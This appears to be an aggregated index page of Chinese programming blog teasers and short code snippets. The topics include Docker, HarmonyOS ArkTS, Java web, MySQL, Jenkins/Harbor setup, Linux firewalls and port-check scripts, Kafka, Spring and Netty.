一、为什么要用docker限制容器的cpu和内存1.资源隔离与公平分配防止资源争用:在多容器环境中,限制CPU和内存可以避免某个容器占用过多资源,影响其他容器的运行。确保公平性:通过限制资源,确保每个容器都能获得所需的计算能力,避免资源被少数容器独占。2.提高系统稳定性防止内存泄漏:限制内存可以避免容器因内存泄漏耗尽主机内存,导致系统崩溃。避免CPU过载:限制CPU使用可以防止容器过度占用CPU,
基于HarmonyNext的ArkTS高级实战:构建高性能跨平台应用
harmonyos-next
基于HarmonyNext的ArkTS高级实战:构建高性能跨平台应用引言随着HarmonyOSNext的发布,ArkTS作为其核心开发语言,为开发者提供了更强大的工具和更高效的开发体验。ArkTS基于TypeScript,结合了HarmonyOS的分布式能力,使得开发者能够轻松构建高性能、跨平台的应用。本文将深入探讨如何使用ArkTS在HarmonyNext平台上进行高级开发,通过实战案例讲解如何
HarmonyNext实战案例:基于ArkTS的高性能分布式机器学习应用开发
harmonyos-next
HarmonyNext实战案例:基于ArkTS的高性能分布式机器学习应用开发引言在HarmonyNext生态系统中,分布式机器学习是其核心特性之一。通过分布式机器学习,开发者可以充分利用多设备的计算资源,实现复杂模型的训练与推理。本文将深入探讨如何使用ArkTS12+语法开发一个高性能的分布式机器学习应用,涵盖从基础概念到高级技巧的全面讲解。通过本案例,您将学习到如何利用HarmonyNext的分
HarmonyNext实战案例:基于ArkTS的实时多人协作白板应用开发
harmonyos-next
HarmonyNext实战案例:基于ArkTS的实时多人协作白板应用开发引言在HarmonyNext生态系统中,实时多人协作是其核心特性之一。通过实时多人协作,开发者可以构建高效、互动的应用场景,例如实时白板、协同编辑等。本文将深入探讨如何使用ArkTS12+语法开发一个实时多人协作白板应用,涵盖从基础概念到高级技巧的全面讲解。通过本案例,您将学习到如何利用HarmonyNext的实时通信特性,结
HarmonyNext实战:基于ArkTS的高性能图像处理应用开发
harmonyos-next
HarmonyNext实战:基于ArkTS的高性能图像处理应用开发引言在HarmonyNext生态系统中,图像处理是一个重要且具有挑战性的领域。本文将深入探讨如何使用ArkTS构建一个高性能的图像处理应用,涵盖从基础图像操作到高级滤镜应用的完整开发流程。我们将通过一个实际的案例——实现一个实时图像滤镜应用,来展示ArkTS在HarmonyNext平台上的强大能力。环境准备在开始之前,确保你的开发环
HarmonyNext实战案例:基于ArkTS的高性能图像处理应用开发
harmonyos-next
HarmonyNext实战案例:基于ArkTS的高性能图像处理应用开发引言在HarmonyNext生态系统中,ArkTS作为新一代的编程语言,为开发者提供了强大的工具来构建高性能、跨平台的应用。本文将深入探讨如何使用ArkTS12+语法开发一个高性能的图像处理应用,涵盖从基础概念到高级技巧的全面讲解。通过本案例,您将学习到如何利用HarmonyNext的特性,结合ArkTS的强大功能,实现复杂的图
javaweb内置对象request,response,out,session,Application等
菜鸟小T
java http struts
JSP内置对象是一些不用声明,也不用像一般的java代码一样需要用new去获取实例的对象,这些对象可以直接在JSP页面的脚本部分使用。一、request对象:1.response和request对象是JSP的内置对象中比较重要的两个,这两个对象提供了对服务器和浏览器通信方法的控制,在JSP中,内置对象request封装了用户提交的信息,即使用HTTP协议处理客户请求时,表单提交的数据就存放在req
做了6年的Java,mysql去重查询方法
m0_57768082
程序员 java 经验分享 面试
前言:求职季在即,技巧千万条,硬实力才是关键,听说今年疫情大环境不好,更要好好准备才行。MySQL是Java程序员面向高级的必备技能,很多朋友在面试时经常在这里折戟沉沙,饮恨不已。熟练掌握MySQL知识,在实践中具有很强的操作性,尤其是在互联网行业,不仅要写好代码、实现功能,而且还要在高并发的情况下能够正常运转。这篇文章总结了许多关于MySQL方面的知识总结,以及面试多家总结出来的常问面试题,希望
web前端高级JavaScript - 闭包的应用及循环事件绑定的N中解决办法
一笑程序猴
WEB前端高级教程 闭包应用 循环事件绑定 自定义索引
闭包在循环事件绑定中的应用场景描述:在页面上有3个button按钮,当点击每个按钮时输出当前按钮的索引值,要求用循环来绑定每个按钮的事件,看下面的代码。button1button2button3varbuttons=document.querySelectorAll('button');for(vari=0;i
【 <一> 炼丹初探:JavaWeb 的起源与基础】之 JavaWeb 项目的部署:从开发环境到生产环境
Foyo Designer
firefox 前端 改行学it 经验分享 学习方法 程序人生
点击此处查看合集https://blog.csdn.net/foyodesigner/category_12907601.html?fromshare=blogcolumn&sharetype=blogcolumn&sharerId=12907601&sharerefer=PC&sharesource=FoyoDesigner&sharefrom=from_link一、开发环境:写代码的“温床”在
Servlet 服务器 HTTP 响应
wjs2024
开发语言
Servlet服务器HTTP响应引言在JavaWeb开发中,Servlet作为服务器端技术的重要组成部分,扮演着至关重要的角色。Servlet负责处理客户端的请求,并生成响应。HTTP响应是Servlet处理请求后返回给客户端的数据。本文将详细介绍Servlet服务器HTTP响应的相关知识,包括响应状态码、响应头、响应体等。Servlet服务器HTTP响应概述Servlet服务器HTTP响应是指S
高级java每日一道面试题-2025年2月20日-数据库篇-大表如何优化 ?
java我跟你拼了
java每日一道面试题 数据库 java 大表优化 索引 分页
如果有遗漏,评论区告诉我进行补充面试官:大表如何优化?我回答:在Java高级面试中讨论大表优化问题时,理解并能详细阐述各种优化策略和技术实现是至关重要的。以下是结合提供的信息进行综合后的详细解析:大表优化的背景当数据库中的单表记录数变得非常庞大时,数据库操作(CRUD)的性能会显著下降,这不仅影响应用的响应速度,还可能导致系统资源耗尽,影响业务的稳定性。因此,对大表进行有效的优化是提升数据库性能的
全面掌握C#多线程编程:核心机制、高级技巧与性能调优
Ro小陌
C# Java 开发语言 c# java 开发语言
在C#中,多线程编程的深度解析需要从底层机制、运行时行为、同步原语和最佳实践等多个维度展开。以下是更深入的技术解析:一、线程与操作系统内核的交互1.线程的底层实现用户模式线程(User-ModeThreads):由CLR管理,轻量级但无法利用多核,依赖协作式调度(如async/await中的状态机)。内核模式线程(Kernel-ModeThreads):由操作系统调度,支持抢占式多任务,每个C#T
Docker部署SVN服务器并使用:从基础到高级
ivwdcwso
运维 SVN 代码管理 运维
目录引言Docker部署SVN服务器SVN基础使用SVN高级使用最佳实践和注意事项结语1.引言Subversion(SVN)是一个开源的版本控制系统,广泛用于管理和追踪软件项目的源代码。本文将详细介绍如何使用Docker快速部署SVN服务器,以及SVN的基础和高级使用方法。无论你是SVN新手还是有经验的用户,本文都将为你提供有价值的信息。2.Docker部署SVN服务器2.1安装Docker如果你
《Windows命令提示符(CMD)函数全解析与应用研究》
Small踢倒coffee_氕氘氚
经验分享 笔记
##摘要本文深入探讨了Windows命令提示符(CMD)的核心功能和应用。文章详细解析了CMD的基本命令、批处理脚本编写技巧以及高级功能,包括网络命令、系统管理命令和磁盘管理命令。通过实际案例研究,展示了CMD在系统管理、网络配置和自动化任务中的广泛应用。研究表明,CMD作为Windows系统的重要工具,在提高工作效率和系统管理能力方面具有显著优势。本文旨在为读者提供全面的CMD使用指南,帮助其更
CICD系列之jenkins
john137724
DEV-OPS docker jenkins
jenkins专题安装docker&docker-compose安装jenkins编写docker-compose.yml脚本配置jenkins安装常用插件记录jenkins安装、配置、使用的常用操作linux物理机安装安装docker&docker-composedocker安装与配置安装jenkins#创建docker桥接网络dockernetworkcreatejohn-net#新建数据目录
CICD系列之harbor
john137724
DEV-OPS harbor
镜像仓库专题安装docker&docker-compose安装harbor下载并解压安装文件修改配置文件安装、管理harbor访问harbor重点提示记录镜像仓库的常用操作。安装docker&docker-composedocker&docker-compose安装与配置安装harbor下载并解压安装文件#下载到指定目录并进入该目录wgethttps://github.com/goharbor/h
玩转Mysql系列 - 第26篇:聊聊mysql如何实现分布式锁?
「已注销」
mysql 分布式 数据库 java 服务器
Mysql系列的目标是:通过这个系列从入门到全面掌握一个高级开发所需要的全部技能。欢迎大家加我微信itsoku一起交流java、算法、数据库相关技术。这是Mysql系列第26篇。本篇我们使用mysql实现一个分布式锁。分布式锁的功能分布式锁使用者位于不同的机器中,锁获取成功之后,才可以对共享资源进行操作锁具有重入的功能:即一个使用者可以多次获取某个锁获取锁有超时的功能:即在指定的时间内去尝试获取锁
C++内存管理秘籍:深入解析与实战代码示例
my1121716951
编程 c++ java 开发语言
C++内存管理秘籍:深入解析与实战代码示例一、内存管理的基本概念二、内存泄漏与野指针三、智能指针:现代C++的内存管理利器四、实战代码示例示例1:传统动态内存管理示例2:使用`std::unique_ptr`示例3:使用`std::shared_ptr`五、总结在C++编程的世界里,内存管理是一项既基础又核心的技能。它直接关系到程序的性能、稳定性和可维护性。不同于一些高级语言自动管理内存的特性,C
Ubuntu 防火墙iptables和 ufw
思静鱼
Linux&运维安装 ubuntu linux
文章目录iptables和ufw的区别Ubuntu上使用ufw配置iptables和ufw的区别iptables和ufw是Linux系统中用于管理防火墙的工具,但它们的设计目标和使用方式有所不同。iptables:功能强大,适合高级用户和复杂场景,但配置复杂。ufw:简单易用,适合普通用户和基本防火墙需求。如果你只需要基本的防火墙功能,推荐使用ufw;如果需要更复杂的网络配置,可以使用iptabl
Windows下安装kafka
计算机软件程序设计
环境搭建 windows kafka 分布式
在Windows系统下安装Kafka可以按照以下步骤进行:1.安装Java环境Kafka是基于Java开发的,因此需要先安装Java环境。下载Java:访问OracleJava下载页面或OpenJDK下载页面,选择适合你系统的Java版本(建议Java8及以上)进行下载。安装Java:运行下载的安装程序,按照提示完成安装。配置环境变量:右键点击“此电脑”,选择“属性”。点击“高级系统设置”,在弹出
学习计划:第四阶段(第十周)
狐凄
学习 学习 python 开发语言
目录第四阶段:特殊方法与高级特性第10周:综合复习与实践周一周二周三周四周五总结一、项目设计与实现二、问题与解决三、学习成果四、后续展望第四阶段:特殊方法与高级特性第10周:综合复习与实践周一上午项目构思结合之前学习的继承、多态、特殊方法和属性装饰器等知识,思考一个综合的面向对象编程项目。考虑项目的实用性和复杂度,最终确定项目主题为“宠物管理系统”。分析项目需求,明确系统应具备的主要功能,如添加宠
RabbitMQ高级特性--持久性
小五Z
RabbitMQ rabbitmq 分布式
我们在前面讲了消费端处理消息时,消息如何不丢失,但是如何保证当RabbitMQ服务停掉以后,生产者发送的消息不丢失呢.默认情况下,RabbitMQ退出或者由于某种原因崩溃时,会忽视队列和消息,除非告知他不要这么做.RabbitMQ的持久化分为三个部分:交换器的持久化、队列的持久化和消息的持久化一、交换机持久化交换器的持久化是通过在声明交换机时是将durable参数置为true实现的.相当于将交换机
【PyCharm】Python和PyCharm的相互关系和使用联动介绍
lisw05
python python pycharm ide
李升伟整理Python是一种广泛使用的编程语言,而PyCharm是JetBrains开发的专门用于Python开发的集成开发环境(IDE)。以下是它们的相互关系和使用联动的介绍:1.Python和PyCharm的关系Python:一种解释型、面向对象的高级编程语言,适用于多种开发任务,如Web开发、数据分析、人工智能等。PyCharm:专为Python设计的IDE,提供代码编辑、调试、测试、版本控
Python编程常用的36个经典案例
编程阿布
python windows 开发语言
Python的简洁和强大使其成为许多开发者的首选语言。本文将介绍36个常用的Python经典代码案例。这些示例覆盖了基础语法、常见任务、以及一些高级功能。1.列表推导式fizz_buzz_list=["FizzBuzz"ifi%15==0else"Fizz"ifi%3==0else"Buzz"ifi%5==0elseiforiinrange(1,101)]print(fizz_buzz_list)
集合框架
天子之骄
java 数据结构 集合框架
集合框架
集合框架可以理解为一个容器,该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。
从本质上来说,Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。
简单介绍:
Collection接口是最基本的接口,它定义了List和Set,List又定义了LinkLi
Table Driven(表驱动)方法实例
bijian1013
java enum Table Driven 表驱动
实例一:
/**
* 驾驶人年龄段
* 保险行业,会对驾驶人的年龄做年龄段的区分判断
* 驾驶人年龄段:01-[18,25);02-[25,30);03-[30-35);04-[35,40);05-[40,45);06-[45,50);07-[50-55);08-[55,+∞)
*/
public class AgePeriodTest {
//if...el
Jquery 总结
cuishikuan
java jquery Ajax Web jquery方法
1.$.trim方法用于移除字符串头部和尾部多余的空格。如:$.trim(' Hello ') // Hello2.$.contains方法返回一个布尔值,表示某个DOM元素(第二个参数)是否为另一个DOM元素(第一个参数)的下级元素。如:$.contains(document.documentElement, document.body); 3.$
面向对象概念的提出
麦田的设计者
java 面向对象 面向过程
面向对象中,一切都是由对象展开的,组织代码,封装数据。
在台湾面向对象被翻译为了面向物件编程,这充分说明了,这种编程强调实体。
下面就结合编程语言的发展史,聊一聊面向过程和面向对象。
c语言由贝尔实
linux网口绑定
被触发
linux
刚在一台IBM Xserver服务器上装了RedHat Linux Enterprise AS 4,为了提高网络的可靠性配置双网卡绑定。
一、环境描述
我的RedHat Linux Enterprise AS 4安装双口的Intel千兆网卡,通过ifconfig -a命令看到eth0和eth1两张网卡。
二、双网卡绑定步骤:
2.1 修改/etc/sysconfig/network
XML基础语法
肆无忌惮_
xml
一、什么是XML?
XML全称是Extensible Markup Language,可扩展标记语言。很类似HTML。XML的目的是传输数据而非显示数据。XML的标签没有被预定义,你需要自行定义标签。XML被设计为具有自我描述性。是W3C的推荐标准。
二、为什么学习XML?
用来解决程序间数据传输的格式问题
做配置文件
充当小型数据库
三、XML与HTM
为网页添加自己喜欢的字体
知了ing
字体 秒表 css
@font-face {
font-family: miaobiao;//定义字体名字
font-style: normal;
font-weight: 400;
src: url('font/DS-DIGI-e.eot');//字体文件
}
使用:
<label style="font-size:18px;font-famil
redis范围查询应用-查找IP所在城市
矮蛋蛋
redis
原文地址:
http://www.tuicool.com/articles/BrURbqV
需求
根据IP找到对应的城市
原来的解决方案
oracle表(ip_country):
查询IP对应的城市:
1.把a.b.c.d这样格式的IP转为一个数字,例如为把210.21.224.34转为3524648994
2. select city from ip_
输入两个整数, 计算百分比
alleni123
java
public static String getPercent(int x, int total){
double result=(x*1.0)/(total*1.0);
System.out.println(result);
DecimalFormat df1=new DecimalFormat("0.0000%");
百合——————>怎么学习计算机语言
百合不是茶
java 移动开发
对于一个从没有接触过计算机语言的人来说,一上来就学面向对象,就算是心里上面接受的了,灵魂我觉得也应该是跟不上的,学不好是很正常的现象,计算机语言老师讲的再多,你在课堂上面跟着老师听的再多,我觉得你应该还是学不会的,最主要的原因是你根本没有想过该怎么来学习计算机编程语言,记得大一的时候金山网络公司在湖大招聘我们学校一个才来大学几天的被金山网络录取,一个刚到大学的就能够去和
linux下tomcat开机自启动
bijian1013
tomcat
方法一:
修改Tomcat/bin/startup.sh 为:
export JAVA_HOME=/home/java1.6.0_27
export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:.
export PATH=$JAVA_HOME/bin:$PATH
export CATALINA_H
spring aop实例
bijian1013
java spring AOP
1.AdviceMethods.java
package com.bijian.study.spring.aop.schema;
public class AdviceMethods {
public void preGreeting() {
System.out.println("--how are you!--");
}
}
2.beans.x
[Gson八]GsonBuilder序列化和反序列化选项enableComplexMapKeySerialization
bit1129
serialization
enableComplexMapKeySerialization配置项的含义
Gson在序列化Map时,默认情况下,是调用Key的toString方法得到它的JSON字符串的Key,对于简单类型和字符串类型,这没有问题,但是对于复杂数据对象,如果对象没有覆写toString方法,那么默认的toString方法将得到这个对象的Hash地址。
GsonBuilder用于
【Spark九十一】Spark Streaming整合Kafka一些值得关注的问题
bit1129
Stream
包括Spark Streaming在内的实时计算数据可靠性指的是三种级别:
1. At most once,数据最多只能接受一次,有可能接收不到
2. At least once, 数据至少接受一次,有可能重复接收
3. Exactly once 数据保证被处理并且只被处理一次,
具体的多读几遍http://spark.apache.org/docs/lates
shell脚本批量检测端口是否被占用脚本
ronin47
#!/bin/bash
cat ports |while read line
do#nc -z -w 10 $line
nc -z -w 2 $line 58422>/dev/null2>&1if[ $?-eq 0]then
echo $line:ok
else
echo $line:fail
fi
done
这里的ports 既可以是文件
java-2.设计包含min函数的栈
bylijinnan
java
具体思路参见:http://zhedahht.blog.163.com/blog/static/25411174200712895228171/
import java.util.ArrayList;
import java.util.List;
public class MinStack {
//maybe we can use origin array rathe
Netty源码学习-ChannelHandler
bylijinnan
java netty
一般来说,“有状态”的ChannelHandler不应该是“共享”的,“无状态”的ChannelHandler则可“共享”
例如ObjectEncoder是“共享”的, 但 ObjectDecoder 不是
因为每一次调用decode方法时,可能数据未接收完全(incomplete),
它与上一次decode时接收到的数据“累计”起来才有可能是完整的数据,是“有状态”的
p
java生成随机数
cngolon
java
方法一:
/**
* 生成随机数
* @author cngolon@126.com
* @return
*/
public synchronized static String getChargeSequenceNum(String pre){
StringBuffer sequenceNum = new StringBuffer();
Date dateTime = new D
POI读写海量数据
ctrain
海量数据
import java.io.FileOutputStream;
import java.io.OutputStream;
import org.apache.poi.xssf.streaming.SXSSFRow;
import org.apache.poi.xssf.streaming.SXSSFSheet;
import org.apache.poi.xssf.streaming
mysql 日期格式化date_format详细使用
daizj
mysql date_format 日期格式转换 日期格式化
日期转换函数的详细使用说明
DATE_FORMAT(date,format) Formats the date value according to the format string. The following specifiers may be used in the format string. The&n
一个程序员分享8年的开发经验
dcj3sjt126com
程序员
在中国有很多人都认为IT行为是吃青春饭的,如果过了30岁就很难有机会再发展下去!其实现实并不是这样子的,在下从事.NET及JAVA方面的开发的也有8年的时间了,在这里在下想凭借自己的亲身经历,与大家一起探讨一下。
明确入行的目的
很多人干IT这一行都冲着“收入高”这一点的,因为只要学会一点HTML, DIV+CSS,要做一个页面开发人员并不是一件难事,而且做一个页面开发人员更容
android欢迎界面淡入淡出效果
dcj3sjt126com
android
很多Android应用一开始都会有一个欢迎界面,淡入淡出效果也是用得非常多的,下面来实现一下。
主要代码如下:
package com.myaibang.activity;
import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.os.CountDown
linux 复习笔记之常见压缩命令
eksliang
tar解压 linux系统常见压缩命令 linux压缩命令 tar压缩
转载请出自出处:http://eksliang.iteye.com/blog/2109693
linux中常见压缩文件的拓展名
*.gz gzip程序压缩的文件
*.bz2 bzip程序压缩的文件
*.tar tar程序打包的数据,没有经过压缩
*.tar.gz tar程序打包后,并经过gzip程序压缩
*.tar.bz2 tar程序打包后,并经过bzip程序压缩
*.zi
Android 应用程序发送shell命令
gqdy365
android
项目中需要直接在APP中通过发送shell指令来控制lcd灯,其实按理说应该是方案公司在调好lcd灯驱动之后直接通过service送接口上来给APP,APP调用就可以控制了,这是正规流程,但我们项目的方案商用的mtk方案,方案公司又没人会改,只调好了驱动,让应用程序自己实现灯的控制,这不蛋疼嘛!!!!
发就发吧!
一、关于shell指令:
我们知道,shell指令是Linux里面带的
java 无损读取文本文件
hw1287789687
读取文件 无损读取 读取文本文件 charset
java 如何无损读取文本文件呢?
以下是有损的
@Deprecated
public static String getFullContent(File file, String charset) {
BufferedReader reader = null;
if (!file.exists()) {
System.out.println("getFull
Firebase 相关文章索引
justjavac
firebase
Awesome Firebase
最近谷歌收购Firebase的新闻又将Firebase拉入了人们的视野,于是我做了这个 github 项目。
Firebase 是一个数据同步的云服务,不同于 Dropbox 的「文件」,Firebase 同步的是「数据」,服务对象是网站开发者,帮助他们开发具有「实时」(Real-Time)特性的应用。
开发者只需引用一个 API 库文件就可以使用标准 RE
C++学习重点
lx.asymmetric
C++ 笔记
1.c++面向对象的三个特性:封装性,继承性以及多态性。
2.标识符的命名规则:由字母和下划线开头,同时由字母、数字或下划线组成;不能与系统关键字重名。
3.c++语言常量包括整型常量、浮点型常量、布尔常量、字符型常量和字符串性常量。
4.运算符按其功能开以分为六类:算术运算符、位运算符、关系运算符、逻辑运算符、赋值运算符和条件运算符。
&n
java bean和xml相互转换
q821424508
java bean xml xml和bean转换 java bean和xml转换
这几天在做微信公众号
做的过程中想找个java bean转xml的工具,找了几个用着不知道是配置不好还是怎么回事,都会有一些问题,
然后脑子一热谢了一个javabean和xml的转换的工具里,自己用着还行,虽然有一些约束吧 ,
还是贴出来记录一下
顺便你提一下下,这个转换工具支持属性为集合、数组和非基本属性的对象。
packag
C 语言初级 位运算
1140566087
位运算 c
第十章 位运算 1、位运算对象只能是整形或字符型数据,在VC6.0中int型数据占4个字节 2、位运算符: 运算符 作用 ~ 按位求反 << 左移 >> 右移 & 按位与 ^ 按位异或 | 按位或 他们的优先级从高到低; 3、位运算符的运算功能: a、按位取反: ~01001101 = 101
14点睛Spring4.1-脚本编程
wiselyman
spring4
14.1 Scripting脚本编程
脚本语言和java这类静态的语言的主要区别是:脚本语言无需编译,源码直接可运行;
如果我们经常需要修改的某些代码,每一次我们至少要进行编译,打包,重新部署的操作,步骤相当麻烦;
如果我们的应用不允许重启,这在现实的情况中也是很常见的;
在spring中使用脚本编程给上述的应用场景提供了解决方案,即动态加载bean;
spring支持脚本